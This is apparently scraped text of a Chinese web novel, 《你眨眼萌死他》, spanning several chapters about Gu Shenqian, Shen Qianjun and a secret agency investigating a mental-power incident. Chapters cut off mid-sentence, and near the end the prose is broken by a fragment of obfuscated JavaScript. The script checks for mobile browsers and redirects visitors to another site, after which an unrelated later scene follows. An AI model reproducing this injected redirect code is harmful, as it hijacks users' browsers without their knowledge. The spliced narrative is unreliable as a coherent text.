顾深浅不断捶打他,试图推开,红着眼像怒极了的兔子:“睁开你眼睛看看清楚我是谁!我不是你要找的人!放开我!” 可无论她怎么说,沈千峻都不为所动。 他的理智被混沌元素吞噬,只一味地重复着两个字:“绝不。” 直到顾深浅说:“我不是那个安安!你放开我!” “安……安……” 沈千峻呢喃着这两个字,怔怔地看着她。 顾深浅见他终于有了不同的反应,只当有效,面露喜色,再接再厉。 可下一秒,她就笑不出来了。 “我不是她,我不是你的安安,你……唔。” 沈千峻俯下身,不由分说扣她后脑勺,借着说话的间隙,不怎么费力地撬开了她的牙关,卷起里面正僵硬着的舌,来势汹汹又恶狠狠地攻陷口中每一个角落。 他发泄着无能为力的绝望,唯恐再被抛下的恐惧与不安,恨不得把人拆吃腹中,揉进他身体里,不许再离开半步。 顾深浅瞪着眼睛,她又惊又怕又屈辱,躲不开逃不走,生理泪水溢满了眼眶。 她不是安安,这也并不是发生在她身上的事,而是发生在这个叫沈千峻的男人身上的事。 他把她当成了别人,亲了她。 却亲得那么绝望。 直到顾深浅快要喘不过气,沈千峻才松开她,额头抵着她的:“别走。” 顾深浅:“……我合理怀疑你是装疯占我便宜。” “别走。” 行,还会换词儿。 好处也是有的,这一遭下来顾深浅一点不冷了,浑身暖洋洋的。 她也没那么害怕了。 因为她发现,沈千峻把她当成安安后,即使理智尽失,也没有伤害过她分毫。 外面的徐飞扬心态就比较炸了。 他原本以治愈力量构建空间,强势闯入沈千峻精神领域,只要动作快点,混沌元素一个都活不了。 比较冒险的就是顾深浅的灵体在沈千峻的精神领域里,他们又都在顾深浅的精神领域里,说不好受混沌元素影响到了什么程度。 如果强行破局影响了他们,运气好的话,混沌元素灰飞烟灭,沈千峻和 6. 苏醒 《你眨眼萌死他》全本免费阅读 春藤医院顶楼001病房。 病床上躺着一个女孩,阳光缕缕,给她镀上一层氤氲的金色。 下一秒,女孩双眼蓦然睁开。 她愣愣地盯着天花板,一幕幕过于真实的梦境的画面在她脑海中回溯。 歇斯底里的解思涵,她疯狂的笑容,充斥恶意的诅咒…… 她不曾见过的夜幕,生死关头依然慈爱笑着的女人,废墟里一心求死的沈千峻…… 在她的精神领域里放肆又克制地精神暴走的沈千峻。 沈千峻! 顾深浅翻身坐起,眼前却忽地一黑,头昏脑胀地又躺下,这才发现自己浑身虚浮无力。 那些不应属于她的记忆历历在目,雪花般的镜头在她眼前纷纷闪过。 闪得她脑袋更涨了。 顾深浅皱眉,烦躁地抬手想挥开,纤长五指在阳光下摇花手似的,让前来巡视的顾明朗和医生护士们逮了个正着。 顾明朗可算露了笑意:“瞎晃什么呢,刚醒就有劲儿了?” 顾深浅一听这话就成了软骨头,掌心盖着脸,指缝里埋着灵动的褐瞳,丧气地说:“没劲儿,晕死我了。” “哦。”顾明朗在她病床前坐下,“感觉怎么样了?还有哪儿不舒服?” “那海了去了。”顾深浅有气无力地说,“我头晕恶心还想吐,腿软手软没力气,跟被人打了一样疼。还有啊……” 身后两个记录的医生听着她叭叭,表情越来越怪异。 精神暴走还会牙疼呢? 却见他们院长始终耐心地听着,时不时还点头附和。 顾深浅终于住了口,顾明朗扭头对他们说:“症状记头晕乏力,开E类注射剂,一周的三级营养剂。” 记录医生们:…… 顾深浅苦着脸:“E类注射剂不就是那生理盐水吗?咱能不输液吗?” 顾明朗铁石心肠,不为所动。“就今天,输完液喝一周营养剂。” 医护人员各自去忙,病房里一时只剩下他们二人,顾明朗扶着顾深浅坐起,忧心地问:“到底怎么回事?你怎么可能精神力暴走?还闹着这么严重。” 顾深浅眸光沉了一瞬,很快笑道:“记不得了。光记得梦里有两个人在我脑子里跑酷,后来其中一个魔怔了还无差别共攻击。再后来莫名其妙又停下了,然后好像就走了,再然后我就醒了,你就来了。” 顾明朗让她气笑了:“不想说是吧。你就说这事儿跟哪个有关系,是不是你们院那个叫陆离的?” “……啊?”顾深浅莫名其妙,“哪儿啊,八竿子打不着的事儿。你怎么会往这儿想。” 顾明朗鼻子喷气,“曼大机甲研究所就那么几个人,你和那小子的事儿传得都快人尽皆知了!” 顾深浅实实在在地皱起了眉,面上还得哄着亲爹:“捕风捉影的事儿你也信?我那清醒睿智英明神武的爸爸可不会信。” 顾明朗还是乐了,悬了一晚上的心这才放下一半,他正色道:“不是要干涉你,你不是孩子了,做什么都是自由。爸爸就是担心你的安全。” 顾深浅心里一暖,忍不住贩剑:“爸爸,这事儿不是我说你。你担心不能只是嘴上说说啊。那你看,你宝贝闺女儿的‘斗晖’项目快收尾了,这资金链眼见着又……哎,你看你这脸色,我不是想跟你要钱,真不是。哎,你懂吧。” 顾深浅说罢无辜地眨眨眼。 顾明朗可太懂了。 他冷漠地说:“没钱。” 顾深浅更冷漠:“拉倒。” 塑料父女情说碎就碎。 对话以护士过来给顾深浅扎针输液中断,顾明朗围观全程,看着她的可怜样,十分受用,愉悦地准备走,就被顾深浅叫住了。 顾深浅问他:“爸爸,沈千峻是什么人?” 一墙之隔的特殊病房,沈千峻光膀子半躺在特设医疗舱里,听墙角听得光明正大,甚至勾了勾唇。 这突如其来的笑容倒是让围着他的医疗团队松了口气,为首的教授说:“您接受我们的治疗方案了?” 沈千峻挑眉:“你是指在医疗舱躺三个月供你们采集数据的提议?” “不接受。” 在座几位自认都是医学界领军人物,如今被沈千峻呛得面色各异,却没一个敢在他面前发作。 沈千峻挥挥手不欲再说,“没办法就都散了。” 医生们三三两两地出去,徐飞扬前后脚进来,随手落下隔音结界。 沈千峻没墙角听了。 “呃……”徐飞扬没走近就察觉到了沈千峻的低气场,试探着问,“你咋了哥,那几个医生没办法给你恢复记忆?” “他们连我是因为什么导致的失忆都没头绪,并希望我能在这儿三个月让他们好好研究一下。” 徐飞扬乐了,憋着笑说:“你也别生气啊,都是联盟的普通医生,对你的状况也不了解。要不是联系不上织梦,哪用得着他们。” “……”沈千峻顺着他的话问,“还是联系不上织梦?” 徐飞扬笑容凝固,支支吾吾地说:“额……那个,也算联系上了。但保守估计,还得要个一周才能回来。” 沈千峻:“?” 徐飞扬硬着头皮说:“海朝区的任务升级了,织梦配合他们计划担任卧底。” “不是你先别生气啊我问过了!就是条短线!” “再说了,织梦出手你还不放心吗?哪有解决不了的。” “就是那什么,不方便直接联系,我只联系上了专案组组长陈潇。但人跟我保证了,不会超过一周的!” 见沈千峻一直没说话,徐飞扬没忍住又补了句:“要我说这事儿你也有责任,当初海朝区借调的时候我就不同意他去……哎呦!” 沈千峻面无表情,食指向下微动,一缕精神力不轻不重地戳在徐飞扬的某个穴位。 徐飞扬又疼又痒,双手抱头就跳了起来。 他龇牙咧嘴地冲沈千峻吼:“老王八蛋!你干什么!” 沈王八罔若未闻,食指又向上轻抬。 徐飞扬“嘶——”一声蜷起,凶巴巴地认怂:“错了错了我错了!!住手!!” 沈千峻大发慈悲收了神通:“你才是联安署的署长,居然从我身上找问题,癫了。” 徐飞扬一手撑着身子坐回去,对着落地窗的 7. 扔垃圾 《你眨眼萌死他》全本免费阅读 一路无话,陆离笑着问:“怎么兴致不高?” “困的。” 说罢还真打了个哈欠。 是真挺困。 顾深浅说:“学长,一会儿不急走,我俩单聊点事儿。” 陆离并不惊讶,点点头。 刚到弦月间门口,便隐隐传来陶生兴奋的声音:“那当然是学姐了!” 顾深浅好笑地推开门,“又念叨我什么?” 陶生被当事人抓包,笑嘻嘻地说:“夸着呢。” 柏莎招呼顾深浅坐她旁边的主座,一边说:“我们在说,咱们院最好看的几个都在学姐项目组了。说你选人先看脸,自己就是活招牌。” 顾深浅乐了:“少往自个儿脸上贴金,咱们项目组是陈教授带过这么多届的颜值低谷。你们看看学长,好意思说自己最好看?” 陆离正跟服务员交代上菜,闻言转过来冲大家笑了笑。 柏莎和贝拉不约而同红了脸,低下头。 今天的局算是“斗晖”项目组的惯例,每完成一个整体阶段的推进,顾深浅都会犒劳项目组一次。 有时候发奖金,有时候买礼物,最常见的是一起吃个饭。 不带教授,一群学生怎么开心怎么来。 柏莎给新来的贝拉科普完,贝拉偷偷瞟了一眼陆离,小声说:“那为什么会带陆离学长呀?” 柏莎说:“你来得晚不知道,陆离学长才是咱项目组的元老呢。‘斗晖’初期的搭建工作都是他和咱学姐配合完成的。后来学长毕设完成,才留校当教授的。” 贝拉又瞟了一眼,正撞上陆离的视线,再次红了脸,悄悄说:“是很有教授气质的。” 顾深浅左边听着陶生跟陆离叭叭地聊新机甲,右边观察着这边的动静,不禁叹气。 陆离这张脸,确实美色勾人。 可要论美色…… 她脑中忽地浮现了沈千峻的脸。 “咯噔。” 把玩着的勺子落到碗里,动静本来不大,奈何陶生眼尖还嗓门大:“学姐你咋啦?” 四道视线集来。 陶生你小子。 顾深浅皮笑肉不笑地剜他一眼:“没事,手抖。” 陶生:“……?” 对面杀意太重,吓得陶生好险失忆,他虚心地问陆离:“咱刚才说哪儿了?” 陆离贴心地帮他回忆:“你说这几年工学院的毕设就没出过像样的东西,然后挨个把每届都吐槽了一遍,正要吐槽我这届。” “……”陶生严肃地说,“巧了,你这届正是无可挑剔!” 三个姑娘刚还憋着,这会儿全笑开了。 这饭吃得氛围融洽恰到好处,连贝拉都小酌了两杯。 陶生不好意思拉着女孩喝酒,就逮着陆离不放,酒过三巡,自己先喝得脸红脖子粗,倒是陆离看上去神态正常,双眼清明。 顾深浅也喝了点,但完全是卡着量来,脑袋清醒着。 喝得差不多,她去结完账又洗了把脸准备撤,刚出卫生间就撞见了陆离。 澜园是中式餐厅,四处布置得雅致,卫生间门口走廊都是中式古风。 昏暗灯光下只有他们二人,陆离不知道是不是也喝多了,望过来的眼神和平常不太一样,透着三分暧昧的意味。 “想跟我聊什么?” 顾深浅不欲跟醉鬼多说,“你喝多了,改天再说。” 她想回弦月间,陆离却忽然横过身子,挡住了她的路。 顾深浅皱着眉退后半步,陆离含笑看着她不吭声,眼底的情绪却让顾深浅浑身不适。 后退的脚步停下,顾深浅转过身往反方向走。 陆离三两步上前,拉住了她的手。 顾深浅用力甩开,冷冰冰地说:“学长,我不喜欢肢体接触,你知道的。” 陆离说:“对不起,一时忘了。” 听上去也没什么歉意就是了。 顾深浅半咬着下唇,从兜里扔给他一个坠子。 陆离稳稳接住,是他送她的白玉挂坠。 透亮白玉在灯下泛着光,海浪被雕刻得活灵活现,俨然是一出精巧的海上旭日图。 他送出去的时候,顾深浅很喜欢,笑得很开心。 现在顾深浅沉着脸把东西还给了他,话语冰冷。 “两件事,第一,这东西是从哪儿来的?都经过谁的手?” 陆离握着挂坠说:“桃源珠宝,店员打包,我带给你。” “解思涵碰过吗?” “没有。”陆离皱了眉,“我送你的东西,不可能让其他人经手。怎么忽然提她?” 顾深浅不言,只是盯着他。 陆离眉头皱得更深:“真的没。” “你怎么会去桃源珠宝?” “连我都不知道他们家出了这个款,你根本不关注首饰,又是怎么知道的?” 顾深浅声音愈发冷:“谁带你去的,学长?” 陆离掀了掀唇,最后只说:“对不起。” 顾深浅笑得讽刺。 这哪还有不明白的。 她咽下一肚子气,冷静地说:“第二,不管你之前是怎么和别人说的,以后我不希望再听到我们俩的传闻。” 陆离抬起眼,眸中压抑着的情绪在翻腾起来:“什么意思?” “就是你理解的意思。” “你是说我和别人胡说,刻意制造我们绯闻?” 不等顾深浅回答,陆离自嘲一笑,换了个问题,“你是不喜欢别人议论你,还是让我离你远点?” 顾深浅对着他的视线,平静地说:“都是。” “以后要是没事,别再来003实验室。” 陆离的最后一根弦被这句话捻成了灰,温文尔雅的皮也碎了个彻底。 他一把攥紧顾深浅的手腕把人拉近,沉着声说:“顾深浅,你要跟我决裂?” “从研一开始,你帮我做毕设,我帮你立项。我们好了这么多年,现在为了两句风言风语,你要跟我决裂?” “你知不知道为了你,我都放弃了什么?!” 顾深浅被他攥着的手臂起满鸡皮疙瘩,她不断试着后退,可这会儿的陆离活脱脱酒后失态,劲儿也大得可怕。 他看上去满是愤怒,还有一些顾深浅看不懂的情绪。 虽然看不懂,但她挺熟悉的。 毕竟昨晚刚在解思涵脸上见过同款,据顾明朗描述还差点嗝屁了。 她下意识去看陆离手里的白玉挂坠,确认并没有异常才放心嘲讽:“为了我?” “不好意思,你恶心到我了。” 顾深浅一脸无畏,冷漠地说:“放,开,我。” 陆离脸 8. 邀约 《你眨眼萌死他》全本免费阅读 柏莎说顾深浅项目组选人先看脸,确有其事。 顾深浅打小就极其容易被好看的人或事吸引,尤其是长在她审美上的。 能在15岁打眼就记住解思涵;起初同意陆离参与“斗晖”项目搭建;在上百个面试者里挑中陶生和柏莎,都离不开他们有张顾深浅看着顺眼的脸。 但也就是顺眼,多的一分都没有。 而沈千峻在这方面堪称天赋独绝。 他肩宽腰窄,剑眉星目,下颌线棱角分明,连脖颈都要比别人长一点。 顾深浅在精神领域中只是见到了他的灵体和记忆,这是头一回见他。 除了刚才威胁陆离,他神色总是懒洋洋的,眉宇间挥不散的困意。 现在这么一笑,不过是个极浅的弧度,还带着气性,却让他整个人都生动了起来,不轻不重地在顾深浅心尖敲了敲。 笑容一闪即逝,沈千峻说:“你记得我。” 是陈述句。 “记得。” 顾深浅莫名心虚,掩饰般的在沈千峻拽过的手腕擦了擦。 这动作落到沈千峻眼里有些刺目,他忽然想起澜园里顾深浅对陆离说的“不喜欢肢体接触”。 啧,小姑娘就是麻烦。 他继续说:“那昨晚的事,你都记得。” 昨晚的事。 顾深浅首先想到的既不是解思涵在人工湖边发疯,也不是沈千峻和金发男人在精神领域救她。 而是沈千峻错把她认成安安后,那个绝望的吻。 顾深浅耳根迅速染上层薄红,她瞪着他凶巴巴地虚张声势:“我又没失忆,当然记得。你还有事没事?没事我走了。” “失忆”俩字又在沈千峻雷区上蹦了一遍,他嘲道:“急什么,你实验室的小朋友徐飞扬已经送回去了。” “徐飞扬?” “昨晚救你的小金毛。” “……嗷” 突然两相沉默,顾深浅眨眨眼,沈千峻忽然转过视线:“你不是想知道我是……” 沈千峻话头戛然而止,清了清嗓子。 “…………?” 顾深浅理解的却是另外的意思,怒道:“顾明朗什么都不跟我说就算了,我跟他打听一句他还来跟你告状?” 沈千峻神色古怪了一瞬,却也没反驳。 他酷酷地转过身:“上车说。” 这次没再拽着手,甚至刻意保持了一段距离。 顾深浅跟着他上了一辆外表看起来就有些年代的光轮车。 车内两排沙发正对着,倒是宽敞干净,像休息间。 她在沈千峻对面落座,沈千峻问:“听说过‘特殊事件监察处’吗?” 顾深浅斟酌着说:“听说过一些传闻。据说比特种部队更神秘,S级是基础门槛。他们只负责解决影响人类发展的特殊事件。但也没什么官方信息,都是小道消息。” “消息挺准,你爸爸说的吧。” 顾深浅撇撇嘴。 沈千峻淡淡地说:“我是特监处的负责人,找你是想邀请你加入特监处。” 顾深浅恍若雷击,惊讶地睁大眼睛,分不清这两个消息是哪个更让她震惊。 沈千峻爆完猛料,没事人似的坐着,给顾深浅足够的时间消化,视线却始终没有离开她。 而顾深浅消化震惊的速度比他预料得快得多,不过片刻,她便沉了下来,冷静之中隐约藏着其他情绪。 顾深浅说:“理由呢?” 沈千峻挑眉,“你很强。” “就这?” “还要什么?” “沈千峻,你是不是忘了。”顾深浅笑得讽刺,“我个没有共感的哑炮。我感受不到精神领域的存在,无法感知到精神元素,更无法使用精神力。你要是……” 你要是因为吻错了人感到愧疚,因为认错人的乌龙造成了临时绑定,发出这种邀约,实在大可不必。 顾深浅几次掀唇,后面的话始终说不出口。 沈千峻说:“我知道。不过,昨晚之后,你已经能感受到精神领域了吧。” 顾深浅一怔,“你怎么知道?” “我怎么知道的不重要,”沈千峻口气一时硬邦邦,“重要的是,这说明你没有共感这件事并非不可改变。” “顾深浅。”沈千峻喊着她的名字,黑眸定定看着她,闪烁着光彩,“一旦觉醒,你不可限量。” “我看过你的档案。你拥有最顶级的精神力,在机械领域天赋异禀,精通人工智能和信息安全,研究领域甚至涉足天体物理。这说明你学习能力足够强,你正是特监处需要的人。” “同样的,你也需要特监处。” “如果不是那张户籍上‘普通人’的身份限制着你,你也不会拖到现在还不让自己毕业吧?” 沈千峻声音清清冷冷,平静又冷淡。 可就是这样没什么情绪的陈述,恰恰字字击在顾深浅心上,踩在顾深浅痛点上。 精神文明时代里,按照精神领域等级分成三种,S级及以上的特种工作者,A-C级的精神人类和没有精神领域的普通人。 只有S级以上的精神领域拥有与生俱来的本命技能,在后天成长中随着不断地实战,也有概率觉醒其他技能。 A-C级的精神领域没有先天技能,靠后天赌脸。 在觉醒精神技能前,他们对地球上的元素有一定的感知能力,却无法使用精神力。 逻辑上来说,和普通人的差别其实并不大。 早在精神文明时代成立之初,联盟就出台了《普通人类保护法》,明确了普通人类也应享有与精神人类平等的社会地位。 然而延续至今,对普通人类的歧视却是愈演愈烈。 同一个岗位,履历同样优秀甚至更优秀的普通人往往都会输给精神人类,很多连个原因都不会给。 顾深浅的情况特殊,她本应属于S级以上的特种工作者,却从小就过着普通人类的日子。 即使在家族的庇佑下,她已经比大部分普通人类过得更好,却依然能处处感受到歧视。 解思涵昨晚虽然疯癫,有句话却无可辩驳。 顾深浅是真的懦弱。 龟缩在舒适圈,迟迟没有勇气步入下一个阶段。 沈千峻只是看了她的档案,竟然就能知道这些。 车里隔音很好,此刻车内静着,顾深浅甚至能听到自己摆弄手指的摩擦声。 她听见自己问:“你需要我做什么?” 沈千峻微微后仰,幽幽道:“先考个试。” 顾深浅:“……?” “昨晚的精神力暴走事故已经立案,查清事故原委,逮捕真凶,写结案报告交给我。” 沈千峻懒洋洋地说,“明天早上九点开始,你有七天时间。期间 9. 织梦 《你眨眼萌死他》全本免费阅读 真心觉得沈千峻有病的显然不止顾深浅一个,没任何操作的徐飞扬也无语住了。 沈千峻大概也感知到了,先一步说:“别吵。” 徐飞扬:“……” 安静片刻,徐飞扬偷偷瞟去,果然见他闭着眼。 一路上徐飞扬又瞟了他好几次,一直没有反应。 沈千峻感知惊人,即使闭着眼,徐飞扬这样光明正大一直瞟他也能发现,换平时早发脾气了。 看来是真累了。 精神领域暴走无论对谁都是极度危险的事,顾深浅尚且有他们二人合力修复,可沈千峻在“克制地暴走”后,没有人能进入他的精神领域安抚。 他们能做的只有通过特设医疗舱加速精神元素回笼,徐飞扬修补他精神领域外围的创口,但这些对沈千峻的恢复都是聊胜于无。 徐飞扬又联系了海朝区专案组长陈潇,核心主旨是尽快把织梦放回来。 而后犹豫了一下,又给织梦留了言:危,速归。 光轮车一路开到环城高路,穿过两层障眼法的结界,车窗外的风景从树丛变成海域。 徐飞扬驶入沿海唯一的庄园,跟着路边径直往“六区”去。 沈千峻不知什么时候醒了,说:“去三区。” 徐飞扬试探着提议:“科研组这个点都下班了,我让隋楚来六区吧。” 沈千峻略一停顿:“让杨楠和隋楚都过来。” 这里是特监处曼城基地,也是沈千峻最常待的。 按功能不同分为一到六区,六区是沈千峻的私人空间,平常有会议都是去一区,不怎么让人过来。 徐飞扬是看沈千峻累得厉害想让他省点事,可沈千峻真同意,他反而更担心了。 十分钟后,六区客厅沙发上,开朗小狗徐飞扬独坐一边,难得闷着声。 杨楠和隋楚一进来就感受到了不寻常,走过都多看了他两眼。 沈千峻斜倚着扶手问道:“现在是什么进度?” 杨楠:“除了下午汇报过的,一队派了两个人,分别在盯着陆离和解思涵,目前没发现异动。明天我和罗亚去跟顾深浅,配合她调查。” 沈千峻:“乔森呢?现在跟着谁?” 杨楠余光扫了一眼徐飞扬,却见他心不在焉的,似乎在看着光脑。于是直说道:“徐队说先放放,就没分配。” 沈千峻跟没看见似的:“先让他跟着你,顾深浅有什么要办的就让他去。你和罗亚把人看好。” “好。” 沈千峻目光转向隋楚,却见隋楚正双眼发亮地环顾周围。 他是头一次来,人虽然站在原地等着汇报,心里估摸是恨不得把六区从里到外逛一遍。 杨楠疯狂给他使眼色,又是咳嗽的,隋楚才回过神来,信誓旦旦地说:“我这边也都弄好了!” 沈千峻撩起眼。 隋楚上次被这么注视还是在结业考。 封闭训练里被沈千峻摁在地上揍的回忆又开始攻击他,隋楚汗毛直立,紧张地挺直腰板。 沈千峻:“你是去年科技特培生毕业的?我没记错的话,巴菲教授夸你是百年难遇的天才?” 正紧张的隋楚又给整不好意思了:“巴菲教授夸张的。” 沈千峻却又忽然问:“徐飞扬,科研三组的组长是定了他吗?” 徐飞扬回神:“对。原先的组长陈珂调去海朝区了,临走时候推荐的。” 沈千峻“嗯”了声,淡淡下了决策:“如果顾深浅破了你的局,组长由她做。” 在场三人面色各异,隋楚年纪最小,也最争强好胜,听到这话少年意气就上来了。 他不敢对着沈千峻发作,只是闷声说:“我知道了。” “你们先回去吧。” 二人依言出去,来时探头探脑的隋楚走的时候头都没怎么抬。 徐飞扬还是不在状态,沈千峻出一缕精神力,正中他额头。 眼见徐飞扬就要跳起来,沈千峻再次先发制人:“出什么事了?” 徐飞扬消停回去,皱起了眉说:“织梦他……你看看吧。” 一个小时前,海朝区。 这是条挂满五彩霓虹灯的巷子,一步一家店。昂贵的隔音材料挡住了其中的喧哗,如果没做过功课随意进去,可能是安静雅致的清吧,也有可能是吵闹连天的夜店。 灯红酒绿间,来来往往尽是三教九流。 谁也想不到,就在这样昏暗的建筑间,暗藏了一支专案小队。 两个队员尽责地撑着隔绝的外界的演示结界,结界之内,陈潇聚精会神地盯着成像屏已经一整晚。 屏幕上,面容儒雅的男人长发绑着小啾,独自坐在角落,面前桌上横了整整一桌空杯。 和陈潇一起观察着动静的是三个年轻人,一晚上都盯着看他喝酒,再好看的人也看疲了。 不知谁先开的头,议论了起来。 “他好像也没有什么特别的,为什么都叫他梦神啊?” “我也没见过,就是听过他能读心!精神系大佬,贼牛。” “他能读一下对面人贩子还有多久到达战场吗?我看他喝酒看馋了都。” 陈潇忍无可忍:“都.他.妈闭嘴。” 公共频道突然响起:“七点方向,目标车辆出现。” 陈潇紧盯着屏幕,正是他们等的那辆车。 车上下来一个男人,对方却似乎有意避开天网,陈潇只能看见他身量颀长的背影。 见他径直进入织梦所在的酒吧,陈潇第一时间打开了他与织梦的私聊频道:“目标人物已进入,高个子,很瘦。你今天的体貌装扮都跟对方透露过,一会儿进门直接走向你的就是了。” 没有得到预料中的回应,是织梦把通讯掐断了。 这个动作不在计划内。 他们私聊的频道多重加密,只在他和织梦间流通,确认安全才投入使用。一旦掐断,织梦和控制台的联络就断了。 为什么这么做? 陈潇顿时警戒,他死死盯着成像屏——目标人物已经到了。 他调整到公共频道:“各单位原地待命,随时准备收网。” 酒吧内,织梦眼神迷离,俨然是个独自喝着闷酒的失意人。 卧底这事儿对绝大部分人都是刀口舔血的活儿,但对织梦来说本应不值一提。 他是精神系的传说,在精神领域和精神控制方面独树一帜。 只要织梦愿意,他能不着痕迹地潜入绝大部分人的精神领域,甚至做些改动。 他能轻而易举看到人类心底的渴望,编织出一场又一场足以溺死人的幻梦,所以取名织 10. 考前 《你眨眼萌死他》全本免费阅读 翌日一早,顾明朗专程腾出空在医院食堂陪顾深浅吃了顿早饭。 顾深浅吃得心不在焉,犹豫着问:“咱们家……和解家有来往吗?做机器人那个。” “解家?”顾明朗想了想,“你妈妈好像有个朋友姓解,来往也不多。怎么了?” 顾深浅问:“叫解什么?做解家哪个产业的生意?” “不清楚,回头我问问。”顾明朗说,“怎么脸色这么差?不舒服?” 顾深浅僵硬地摇摇头:“没事。” 顾明朗还要说什么,却蓦地住了口。 以高马尾女人为首的三人在他们斜后方落了座,其中两个正是昨天送顾深浅来医院的人。 顾深浅顺着他的视线望去,女人一头橙红。头发高高绑在脑后,在偌大食堂独树一帜。 身后跟着两个男人,一个高高瘦瘦,黑发绿眸,衬着冷白皮肤显得很酷;另一个最高,身材壮硕,流畅的肌肉线条若隐若现。 这三人和春藤食堂冷淡简明的画风实在格格不入,且目标鲜明地坐在了他们后侧。 顾深浅大概猜到是什么人。 她看了眼时间:七点五十。 …… 不是九点吗? 我请问呢。 她带着脾气,慢悠悠吃了个虾饺,心底问候了沈千峻无数次,才对顾明朗说:“你再不吃赶不上早会了。” 顾明朗沉下脸:“不急。” 顾深浅放下筷子,冷静地说:“我自己的事。” 顾明朗张了张嘴,不知想到了什么,终究没多问走了。 下一刻高马尾就坐到了她对面。 “……你们上班挺早。” “应该的。” 顾深浅抿唇不语。 高马尾好像全然感受不到顾深浅不悦的气息,“我叫杨楠,是负责你案件的主理人,也是你入职考试的监考。说是考试但也没什么规矩。禁止违法乱纪,禁止踩红线,办案过程不能有隐瞒,必要时我会开启摄录。都能接受吧? 最后一句让顾深浅蹙起眉:“非必要不摄录。” “……好的。”杨楠被噎了一下,面色如常地介绍,“白皮这个就是罗亚,他负责保护我们的安全。考试期间会和我一起跟着你,提供合理资源。黑皮的是乔森,你需要额外查什么事都可以安排他去。” 橙红色头发衬得杨楠皮肤雪白,每一句话音里都带着一丝上扬的尾调,听上去阳光又朝气。 不小心戳到了顾深浅奇奇怪怪的审美点。 顾深浅脾气消了一半。 罗亚黑发绿眸,不苟言笑。高高瘦瘦,目测一米八往上,光腿长就得有一米二。 听杨楠说完他也就点点头,酷得没边。 乔森则是嘟囔着:“总觉得楠姐趁机笑我黑。” 对上顾深浅的目光,便咧嘴笑起来。 倒是看得顾深浅一怔。 她说:“还真有点事儿麻烦乔先生。” “我需要查两个人,一个叫解思涵,另一个叫陆离。我想知道他们的社会关系,财政状况以及近三个月的社交圈,明天差不多能有结果吗?” 乔森多看了她一眼:“下午就能。” “好,辛苦。” 顾深浅看向杨楠:“考试前我有三个问题。” “你说。” “第一,我的人身自由受限吗?” “不限制,你想去哪都可以,但我和罗亚会跟着。如果你需要私密空间,我们会在门口等你。” “第二,查案产生的费用,你们给报销多少?报销标准是什么?” “……这个我需要请示一下,第三呢?” “第三,”顾深浅认真地问,“骂沈千峻扣分吗?” “………………我请示一下。” 杨楠走到远处角落呼出通讯,乔森笑得耸肩。 顾深浅好奇:“你乐什么?” 乔森乐道:“没什么,就是觉得,你跟楠姐应该相见恨晚。” 顾深浅:“?” 杨楠的请示通讯打了半个钟,越走越远,眼见要走出罗亚视线。 罗亚看了眼乔森:“保护好她。” 乔森:“好。” 杨楠大步走过去,却也没走近,只是确保杨楠在她视线范围。 顾深浅目光在二人间流转,若有所思地说:“他们是一对吧?” 没得到回应,她看向乔森。 乔森不知什么时候坐在了她对面,放肆地打量着她。对上她的视线,才反应过来似的耸耸肩:“我不知道。” 顾深浅微微后仰,疑惑:“你怎么还不去查线索?” 乔森又笑起来:“还没到时间呢。再说,罗亚要我保护你。” “……” 顾深浅不再说话,重新看回仅自己可见的光脑,陶生的对话界面显示了一条新消息。 【我知道的也不多。你几点到实验室?当面说。】 顾深浅皱起眉。 乔森突然问:“你认识沈教……沈千峻?” 顾深浅敷衍:“算吧。” “为什么骂他?” “……” 顾深浅又想起了昨晚疾驰而去的光轮车,皮笑肉不笑地说:“因为他有病。” 这边,杨楠终于就预算问题和徐飞扬达成一致。 难为徐飞扬一宿没睡好又被敲了一大笔,还能保持风度:“还有什么事儿?” 杨楠犹豫地问:“老大在吗?” “且睡呢,在六区闭关。” “这次休息多久啊?” “不一定,看着状态一般。织梦最近不回来的话,怎么着也得等顾深浅考试结束,我再找他。” “梦神最近不回来?昨天还说短线呢?”杨楠嗅觉敏锐,“海朝区出事了?” 徐飞扬捏捏鼻尖,疲惫道:“不算大事儿。你那儿什么事,直说。” “哦,也没什么。”杨楠干巴巴地说,“是顾深浅问,额……” “……” 徐飞扬预感不祥。 “她问我们,考试期间骂老大扣分吗?” “………老大听不见的就算了。” “要听见了呢?” “不可能。” 不可能吗? 杨楠有点麻。 算了,反正是徐飞扬说的。 “遵命。” 顾深浅给陶生的信息刚发出,她对面坐着的又变回了高马尾。 杨楠真挚又欣慰:“查案产生的全部费用由特监处报销。” 顾深浅也很高兴:“另一个呢?” 笑脸一僵,杨楠开口有点艰难:“不扣,但最好不要。” 顾深浅更高兴了,临走给一人提了杯咖啡,罗亚和乔森都婉拒了,于是换成了豆浆。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928769|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明不了什么。他是工学院的教授,毕业展过来看看很正常。” 徐飞扬:“那他和你实验室的小朋友一起过夜正常吗?” 顾深浅眉头结结实实地拧起来:“贝拉?” 徐飞扬“哟”了声:“你知道啊。” “本来不知道,现在知道了。”顾深浅皱着眉,“他们搞在一起跟我有什么关系?” “他们不仅搞在一起,玩得还很花。我的人找到了一段影像资料,是在一个私人party上录的。那人刚好经过,撞见办事儿,录下了画面。但距离太远,听不清声音,科技组复原了他们的对话。真人动作片,你要看吗?” 沈千峻抢答:“直说结论。” 徐飞扬耸耸肩,“陆离让贝拉给斗晖换了一个零件,问她事情进度,贝拉说办妥了,还当众挨了顿骂。对了,她还说你好凶。” “……” 斗晖近期的零件替换只有过一次,就是去年因为贝拉擅自替换了没做精度测试的PW-07,而更换了新的零件。 斗晖的好几家供应商之前都是陆离在接洽,和陆离似乎都很熟。 实验室的内部会议上也公开讨论过贝拉换零件的事。 顾深浅闭眼叹息:“陆离参与过斗晖的项目搭建,凭他对斗晖的了解,确实能做到藏起一个替换芯,躲过日常检测。” 徐飞扬还没开口,就听沈千峻说:“你是挺了解他。” 顾深浅无语又无奈地斜了他一眼,不搭理他,跟徐飞扬说:“陆离那天在会场的天网记录查了吗?他是怎么催发bug的?” 